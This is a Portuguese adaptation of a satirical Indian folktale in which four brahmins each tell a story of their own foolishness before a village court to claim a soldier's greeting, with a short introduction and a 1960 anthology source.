A HISTÓRIA DOS QUATRO BRÂMANES LOUCOS – conto Paña da Índia

India – conto Paña

Os párias, infelizes rebotalhos humanos, homens sem casta, intocáveis, votados à mais vil degradação, nem por isso deixaram de ter seu poeta, tão excepcionalmente grande que mesmo pelos brâmanes era chamado Tiruvaluva, o Divino Pária. Outros párias, desconhecidos, também contaram as lendas e desgraças de sua gente, coisas que a tradição oral conservou, e acabaram sendo recolhidas por estudiosos dos costumes e povos da índia. A História dos Quatro Brâmanes Loucos é uma sátira, onde, rindo, os párias exercem sua vingança contra a casta "salda da cabeça do deus". Não nos consta que antologias dedicadas ao conto hindu tenham recolhido a história que aqui damos.

A HISTÓRIA DOS QUATRO BRÂMANES LOUCOS

QUATRO brâmanes tinham partido cada qual de uma aldeia diferente, a fim de alcançarem um distrito onde se realizava um smardana, isto é, festa mensal que se dá aos brâmanes nas aldeias.

Encontraram-se no caminho, e tendo tido conhecimento de que levavam o mesmo destino, resolveram fazer juntos o resto da viagem.

Durante a caminhada encontraram um soldado que vinha em direção oposta à sua, e que, ao passar, fez-lhes a saudação de uso, quando se trata de brâmanes.

 Saravoi ay a! — disse o soldado. O que quer dizer "Saudações respeitosas, senhor!"

 Assirvaclam! — responderam os brâmanes. O que quer dizer "Recebe nossas bênçãos!"

Chegados junto de um poço que se encontrava no caminho, os brâmanes sentaram-se para se desalterarem, e repousaram, a seguir, sob a sombra de uma árvore vizinha.

Durante aquela parada, não lhes fornecendo o espírito material para conversação, um deles tratou de romper o silêncio, dizendo aos outros:

— Devemos confessar que o soldado que vimos de encontrar é homem bastante educado. Reparastes como soube me distinguir e com que cortesia me cumprimentou?

— Mas não foi a vós que êle cumprimentou — disse o brâmane que estava sentado junto dele. — Foi a mim, apenas, que aquela homenagem se dirigiu.

— Estais enganados, um e outro — disse o terceiro. — Posso assegurar-vos que aquela saudação só a mim dizia respeito, e a prova é que o soldado, pronunciando o saravoi aya lançou os olhos para o meu lado.

— Nada disso — protestou o quarto. — Eu apenas fui cumprimentado. Se não fosse isso; como teria respondido: assirvadam!

A discussão aqueceu-se aos poucos, alcançando tal veemência que os quatro companheiros de viagem estavam prontos a ir-se às mãos. Um deles, mais razoável do que os outros, ofereceu a seguinte alternativa:

— Para que ficarmos assim inutilmente encolerizados? Depois de nos termos coberto reciprocamente de insultos e ultrajes, depois de nos termos batido como a canalha dos suaras, dizei-me, o assunto da nossa discussão seria menos contestável? Quem pode tirar-nos de dúvidas senão aquele que as suscitou? O soldado que encontramos não pode estar muito longe. Proponho, pois, que corramos bem depressa atrás dele, a fim de saber de sua própria boca qual de nós quatro teve a intenção de honrar com o seu cumprimento.

Aquele conselho pareceu muito sensato e foi acolhido com solicitude. Começaram os quatro a correr atrás do soldado e, já sem fôlego, alcançaram-no, a mais de uma légua do lugar onde se encontravam.

Assim que de longe o viram gritaram para que parasse, e, aproximando-se dele, expuseram-lhe a razão da disputa que se erguera entre eles, rogando-lhe que pusesse termo àquilo, dizendo-lhes a qual deles se dirigira sua cortesia.

O soldado, vendo naquela história a ingenuidade das pessoas com que tratava e querendo divertir-se à custa delas, respondeu muito seriamente:

— Pois bem, foi ao mais louco dos quatro que eu quis saudar.

E, voltando-lhes imediatamente as costas, prosseguiu seu caminho.

Os brâmanes, interditos com aquela resposta, retomaram também imediatamente o seu, e durante algum tempo caminharam em silêncio. Mas depressa a querela se reanimou ainda mais, pois cada qual tomava a peito a saudação do soldado.

Cada um, desta feita, apoiava suas pretensões sobre a própria decisão daquele homem, e não havia um entre os quatro que não se quisesse qualificar como mais louco do que os outros três.

Cada qual pôs tanto vigor e azedume na manutenção de seus direitos àquela superioridade de nova espécie, que parecia iminente uma batalha.

O autor da primeira sugestão emitiu uma outra, para acalmar a efervescência de seus companheiros.

— Eu acho que sou o mais louco de todos — disse êle — e cada qual pretende afirmar o mesmo a respeito de si próprio. Ora, pergunto eu, será gritando até perdermos a voz, e mesmo batendo-nos uns aos outros que chegaremos a decidir qual de nós quatro é dono da loucura melhor condicionada? Estamos a pequena distância de Darmapoor, suspendamos nossos debates, dirijamo-nos para a sala da justiça, e peçamos aos chefes daquele lugar que nos ponham de acordo.

Aquela sensata sugestão foi seguida, e eles não poderiam apresentar-se em momento mais favorável. Os chefes de Darmapoor, brâmanes e outros, encontravam-se todos reunidos na Sala da Justiça, e poucas eram as causas a julgar, naquele dia. No mesmo momento os quatro companheiros de viagem obtiveram audiência.

Um dos brâmanes, tendo adiantado-se para o centro da assembléia, contou, sem omitir a menor circunstância, o que se passara com eles por ocasião da saudação, e qual fora a resposta ambígua do soldado.

Aquela narrativa provocou mais de uma vez as gargalhadas da assembélia. O que a presidia, homem de temperamento jovial, ficou encantado por encontrar uma ocasião assim tão favorável de se divertir.

Tomando, pois, ar sério e impondo silêncio a toda a gente, dirigiu a palavra aos queixosos nestes termos:

— Já que sois estrangeiros nesta cidade, não podemos constatar vosso caso através de testemunhas. Há uma única forma de esclarecer nossos juízes, e é cada qual nos dar a conhecer qual o fato de sua vida que melhor caracterize sua loucura. Depois de vos termos ouvido, poderemos decidir qual dos quatro tem direito à superioridade nesse gênero, e esse, em conseqüência, poderá se atribuir, exclusivamente, o cumprimento do soldado.

Os queixosos aquiesceram todos, e um dos brâmanes, tendo obtido permissão para falar, expressou-se nos seguintes termos:

— Meus trajos estão longe de ser elegantes, como vedes, e não é de hoje que me visto com farrapos. Eis qual foi a causa da ruína do meu vestuário:

Há muitos anos um rico mercador de nossa vizinhança, muito caridoso para com os brâmanes, fêz-me presente, para que eu me vestisse, de dois cortes da fazenda mais fina que jamais fora vista no nosso agrahram. Mostrei-os a todos os meus amigos, que não se cansavam de admirá-los. Tão feliz vantagem — diziam-me eles, não pode ser senão o fruto de boas obras que praticaste em geração precedente, pois em tua vida presente és idiota demais para jamais merecer semelhante coisa.

Agradeci a meus amigos sua boa opinião, e, antes de me vestir com aquelas fazendas, fui lavá-las, segundo o costume, a fim de purificar assim as máculas que nelas tinham deixado, pelo seu contacto impuro, o tecelão e o vi] mercador.

Estavam os panos a secar, presos pelas duas pontas a duas árvores, quando um cão passou por baixo deles. Só reparei nele quando já ia longe, e não pude me certificar se ele tinha ou não maculado os tecidos com o seu contacto.

Interroguei meus filhos, que me disseram não terem prestado atenção. Como esclarecer aquela dúvida? A fim de consegui-lo, pensei em me pôr de quatro, mantendo-me à altura de um cão, e, naquela postura, passei sob meus panos.

— Toquei-os? — perguntei a meus filhos, que me observavam.

— Não — responderam eles.

Ouvindo aquela agradável palavra dei um salto de alegria. Entretanto, um momento depois refleti que o cão, levando a cauda em pé, bem podia ter tocado nos meus panos com a ponta daquela parte exuberante de seu dorso. Para me certificar, amarrei às costas uma foice recurva e recomecei a minha experiência. Meus filhos, aos quais eu recomendara atenção, disseram-me que dessa vez a foice tocara ligeiramente nos panos.

Não duvidando mais de que o cão tivesse feito outro tanto, ao passar, recolhi os tecidos, e, num transporte de cólera que me privou de qualquer reflexão, rasguei-os em pedacinhos.

Depressa essa aventura tornou-se conhecida, e toda a gente tratou-me de insensato. "Mesmo que as fazendas tivessem sido maculadas por um contacto assim tão leve, não poderias tu recitar sobre elas o mantram da purificação?" — diziam uns. Outros falavam: "Em vez de rasgá-las terias feito melhor se as desses a um pobre sudra. Depois de um tal gesto de loucura, quem mais irá fornecer-te vestimentas?"

Estas palavras foram completamente confirmadas, ai de mim! Desde então, de cada vez que peço a alguém algo com que me vista, perguntam-se, rindo, se é para fazer o tecido em pedaços.

Quando o brâmane terminou a sua história, um dos auditores disse:

— Ao que parece, sabeis muito bem andar de quatro!

— Arranjo-me bastante corretamente, — declarou o brâmane, — segundo posso mostrar-vos.

Com essas palavras, pôs-se de quatro, e, nessa postura, fêz duas ou três vezes a volta à assembléia, não sem que os espectadores quase desfalecessem de tanto rir.

— Chega — disse aquele que presidia. — O que acabamos de ouvir e ver é prova bem grande a vosso favor. Mas antes de decidir seja o que for, vejamos que provas de loucura apresentarão os outros.

Um segundo brâmane tomou então a palavra, nestes termos:

— A fim de comparecer decentemente a um smardana que fora anunciado em nossa vizinhança, mandei chamar o barbeiro para que me raspasse a cabeça e o rosto.

Quando o homem terminou seu trabalho eu disse a minha mulher que lhe desse um cache (mais ou menos um cêntimo) pelo seu trabalho, mas, por irreflexão, deu-lhe dois. Em vão exigi do barbeiro que me restituísse meu cache, ele de nada quis saber. Por mais que eu insistisse, obstinou–se em sua recusa.

A discussão esquentava e já estávamos chegados aos insultos, quando o barbeiro, tomando um tom mais calmo, disse-me:

— Há uma forma de nos entendermos. Em troca do cache que reclamais rasparei a cabeça de vossa esposa.

— Tens razão — repliquei eu, depois de um momento de reflexão. — O que me propões terminará com nossa discussão, sem que haja injustiça de uma parte nem de outra.

Minha mulher, ouvindo aquelas palavras e vendo o que lhe ia acontecer, quis fugir, mas eu agarrei-a e forcei-a a sentar-se no chão. O barbeiro, armado de sua navalha, raspou-lhe completamente a cabeça.

Durante todo o tempo minha mulher lançava grandes gritos e vomitava toda uma torrente de injúrias e imprecações contra nós dois, mas eu deixava-a gritar, preferindo vê-la de cabeça raspada do que deixar que aquele velhaco do barbeiro ficasse com um cache que não tinha ganhado.

Minha mulher, assim despojada de sua bela cabeleira, foi esconder-se, envergonhada, e não mais ousou aparecer. O barbeiro também escapou, e, encontrando minha mãe na rua, nada de melhor achou para contar-lhe senão o que se acabava de passar.

Ela imediatamente correu para se certificar do fato, e quando viu sua nora com a cabeça toda raspada, ficou alguns momentos interdita, muda de espanto. Depressa, porém, tomada de cólera, cobriu-me de invectivas e censuras, que suportei sem dizer uma palavra que fosse. Começava a perceber que bem as merecia. O velhaco’ do barbeiro, por seu lado, gozou o maldoso prazer de divulgar por toda a parte aquela aventura que fêz de mim uma razão de riso para o povo.

As más línguas, aumentando o que ele dizia, não deixaram de insinuar que se eu tinha mandado raspar assim a cabeça de minha mulher seria para castigá-la por ter faltado à fé conjugal. A turba veio ter à porta de minha residência e levava mesmo um burro para fazer com que nele montasse a pretendida culpada, a fim de passeá-la pelas ruas — segundo o costume em uso para as esposas infiéis.

O ruído daquela aventura depressa chegou ao domicílio dos pais de minha esposa, que acorreram apressadamente.

Podeis imaginar o barulho que fizeram à vista de sua pobre filha de tal maneira arranjada. Levaram-na para a casa deles, conduzindo-a em viagem noturna, para evitar-lhe a humilhação de ser vista naquele estado. E só depois de quatro anos de súplicas foi que consentiram em devolver-ma.

Espero que esse gesto de loucura vos pareça muito superior ao que vos expôs aquele brâmane que falou antes de mim.

A assembléia julgou que seria difícil mostrar estupidez maior, mas reservou sua decisão e deu a palavra ao terceiro brâmane, que começou nestes termos:

— Anantaya é meu nome, mas só me chamam Bétel-Anantaya, e eis o fato que deu lugar a tal apelido:

Havia mais ou menos um mês que minha esposa, conservada até então na casa de seus pais, por causa de sua pouca idade, tinha vindo morar comigo. Uma noite, quando nos deitávamos, eu lhe disse, não sei a que propósito, que as mulheres eram umas tagarelas.

Ela me replicou, sem hesitar, que conhecia homens que eram mais mulheres do que as mulheres, nesse particular. Era a mim que estava fazendo alusão.

Ofendido, eu respondi:

— Vejamos quem falará em primeiro lugar.

— Pois não, — replicou ela, — e o que perder a aposta dará ao outro uma folha de bétel.

Feita a aposta, adormecemos sem pronunciar uma palavra.

No dia seguinte, o sol já levantado, como viam que não aparecíamos, pois estávamos decididos a não nos levantarmos de nossa cama enquanto nosso assunto não fosse decidido, começaram a nos chamar de todos os lados. Trabalho perdido, pois não respondíamos.

Nossos pais, tendo sido avisados do que se passava, assustados com aquele silêncio, mandaram procurar um carpinteiro da aldeia para abrir as portas. Muito surpreendidos ficaram ao nos encontrar, a um e outra, bem acordados, em perfeita saúde, mas privados do uso da palavra.

Nossa casa ficou cheia de gente, e na crença de que estávamos sob a ação de um encantamento, mandaram chamar um mágico célebre, para que nos desencantasse.

O mágico, depois de ter pedido um preço exorbitante, ia começar seus esconjuros quando um brâmane nosso amigo garantiu que estávamos mudos por efeito de uma moléstia que êle conhecia perfeitamente. E declarou que nos curaria sem que nada nos cobrasse.

Mandou aquecer ao rubro um lingote de ouro, e aplicou-o com pinças sobre as plantas dos meus pés, nos cotovelos e na testa. Suportei aquela horrível tortura sem pronunciar uma palavra.

— Tentemos com a mulher — disse então o velhaco do operador.

Fêz-lhe a mesma operação sobre as plantas dos pés, mas assim que ela sentiu os primeiros efeitos do fogo, exclamou:

 Appa! Appa! (Chega! Chega!)

Voltando-se em seguida para mim, ela disse:

— Perdi a aposta, aqui está a folha de bétel.

Todos ficaram no auge da estupefação.

— Eu bem havia previsto que serias a primeira a falar, — exclamei eu imediatamente, — e eis que justificaste o que te dizia ontem, quando nos fomos deitar: as mulheres são umas tagarelas.

Quando os espectadores souberam os motivos da nossa aposta, exclamaram em coro:

— Que insigne loucura! Amotinar todo o bairro, deixar que lhe queimassem a planta dos pés; tudo por uma folha de bétel! Seria impossível encontrar cérebro mais amalucado!

Desde então chamam-me Bétel-Anantaya.

O tribunal achou que aquele traço de loucura era ainda mais notável do que os precedentes, mas seria justo que se conhecesse os títulos do quarto brâmane, que se explicou nos seguintes termos:

— A mulher, com quem eu me havia casado, sendo ainda muito jovem, continuou a morar em casa de seu pai. Quando alcançou a idade necessária, seus pais advertiram os meus de que ela poderia, dali por diante, cumprir com todos os seus deveres de esposa.

A casa de meu sogro ficava a uma distância de seis ou sete ^léguas de nossa residência. Minha mãe, estando doente na época em que recebemos aquela agradável notícia, não pôde fazer a viagem. Encarregou-me, portanto, de ir procurar pessoalmente a minha noiva, recomendando-me que me portasse com circunspecção e que nada fizesse nem dissesse que viesse a dar a conhecer a extensão da minha simplicidade.

— Conhecendo como eu conheço — disse-me ela — o fraco alcance de tua inteligência, receio que faças alguma tolice.

Prometi-lhe conformar-me com as suas instruções, conduzir-me com prudência, e pus-me a caminho.

Fui muito bem recebido pelo meu sogro, que deu, em minha honra, um banquete a todos os brâmanes da região. Tendo chegado o dia marcado para a partida, êle permitiu que partíssemos, minha mulher e eu.

Despedindo-se de nós, meu sogro nos cobriu de bênçãos, e quando nos separamos êle derramou uma torrente de lágrimas, como se estivesse pressentindo a desgraça que iria acontecer à sua pobre filha.

Estávamos, então, na estação dos calores violentos, e no dia de nossa partida a temperatura mostrava-se excessivamente quente. Tínhamos que atravessar uma planície árida, de mais de duas léguas de extensão.

A areia aquecida pelo ardor do sol bem depressa começou a queimar os pés de minha jovem companheira, que, educada requintadamente sob o teto paterno, jamais se habituara a semelhantes fadigas.

Começou, então, a chorar, e bem depressa, não suportando mais, deixou-se cair por terra, resolvida, segundo disse, a morrer ali.

Eu estava extremamente embaraçado. Sentado ao lado dela, não sabia que partido tomar, quando veio a passar por ali um vaíxa, que conduzia grande número de bois carregados com mercadorias diversas.

Abordei-o e contei-lhe, com lágrimas nos olhos, a razão de meu desgosto, e roguei-lhe que me auxiliasse com seus conselhos naquela situação crítica em que eu me encontrava.

O mercador aproximou-se de minha mulher. Depois de ter feito cuidadosa observação, disse-me que, diante do calor sufocante que fazia, a vida daquela pobre infeliz estava evidentemente em perigo, ficasse ela naquele lugar ou quisesse prosseguir o caminho.

— Em vez — disse ele — de vos expor ao desgosto de ver morrer esta jovem sob vossos olhos, e talvez ficar sob a suspeita de tê-la matado, aconselho-vos que ma entregueis.

Eu farei com que ela monte sobre um de meus melhores bois, irei levá-la comigo, e ela assim escapará a uma morte certa. Ficará perdida para vós, é bem verdade, mas antes perdê-la, salvando-lhe a vida, do que vê-la morrer aos vossos olhos. As jóias dela podem valer mais ou menos vinte e cinco pagodes. Aqui estão trinta, e entregai-me vossa esposa.

O raciocínio daquele homem pareceu-me convincente e sem réplica. Aceitei, pois, o dinheiro que êle me oferecia, e o homem, tomando minha mulher em seus braços, sentou-a sobre um dos bois e apressou-se a continuar seu caminho.

Também eu retomei o meu, e cheguei à casa muito tarde, os pés quase grelhados pelo calor da areia, sobre a qual havia caminhado durante o dia inteiro.

— Onde está, pois, tua esposa? — perguntou-me minha mãe, surpreendida ao ver-me voltar sozinho.

Contei-lhe, então, com todos os pormenores, tudo quanto se havia passado desde que dali saíra. E terminei por lhe narrar o triste acidente que sofrera no caminho minha jovem companheira, e que eu preferira cedê-la a um mercador que passava do que ser testemunha de sua morte inevitável, com o risco ainda de incorrer em suspeitas de ter sido o autor dela.

Sufocada de indignação ao ouvir aquilo, minha mãe ficou como que petrificada. Depressa, porém, sua cólera comprimida explodiu tremendamente. Não encontrava injúrias nem imprecações bastante fortes para censurar minha conduta.

— O insensato, o miserável! — exclamou ela. — Vender sua esposa! Entregá-la a outro! Uma brâmane tornar-se presa de vil mercador! E que vão pensar de nós, em nossa casta? Que dirão os pais dessa infortunada, quando souberem de tal infâmia? Poderão jamais acreditar em semelhante excesso de loucura e imbecilidade?

A triste aventura acontecida à minha mulher não tardou a chegar aos ouvidos de seus pais, que acorreram, furiosos, armados com bastões, com a intenção de matar-me a pauladas.

Isso teria fatalmente acontecido comigo, e à minha pobre mãe, apesar de sua inocência, se, advertidos de sua chegada iminente, não nos tivéssemos furtado à sua vingança rugindo prontamente.

Não podendo fazer justiça com suas próprias mãos, levaram eles o caso diante do tribunal da casta, que, unanimemente, condenou-me a pagar uma multa de duzentos pagodes, como reparação de honra.

Além disso, foi feita a proibição, fosse a quem fosse, de jamais dar outra mulher como esposa a um louco de minha espécie.

Assim, fiquei condenado a conservar-me viúvo pelo resto de meus dias, feliz, ainda, de não ter sido cortado da casta dos brâmanes, graça que devi ao respeito e consideração de que gozara meu pai, e cuja lembrança ainda prevalecia.

Quero deixar que julgueis, agora, se esse traço de loucura não excede os dos meus companheiros, segundo vos foi por eles contado, e se por bom direito não me cabe a primazia.

Depois de madura deliberação a assembléia da Sala de Justiça decidiu que os quatro brâmanes, tendo dado cada qual provas irrefutáveis de loucura, tinham direitos iguais e bem fundados à superioridade naquele gênero. Que cada qual podia, pois, individualmente, atribuir-se o privilégio de se dizer mais louco do que os outros, e tomar à sua conta pessoal o cumprimento cio soldado.

— Cada um de vós ganhou seu processo — disse-lhes o que presidia. — Ide em paz e continuai vosso caminho sem vos bater, se for possível. Tomai bastante cuidado para que não vos tomeis um pelo outro, e que os deuses façam com que não vos aconteça acidente algum, pois seria perda muito grande para vossos pais e para a vossa casta.

Ouvindo aquela sentença a assembléia inteira desatou às gargalhadas, e os quatro brâmanes, satisfeitos com um julgamento assim tão equânime, retiraram-se, dizendo cada qual para si próprio:

— Ganhei meu processo, e foi bem a mim que aquele soldado cumprimentou.

Fonte: Maravilhas do conto popular. Adaptação de Nair Lacerda. Cultrix, 1960.

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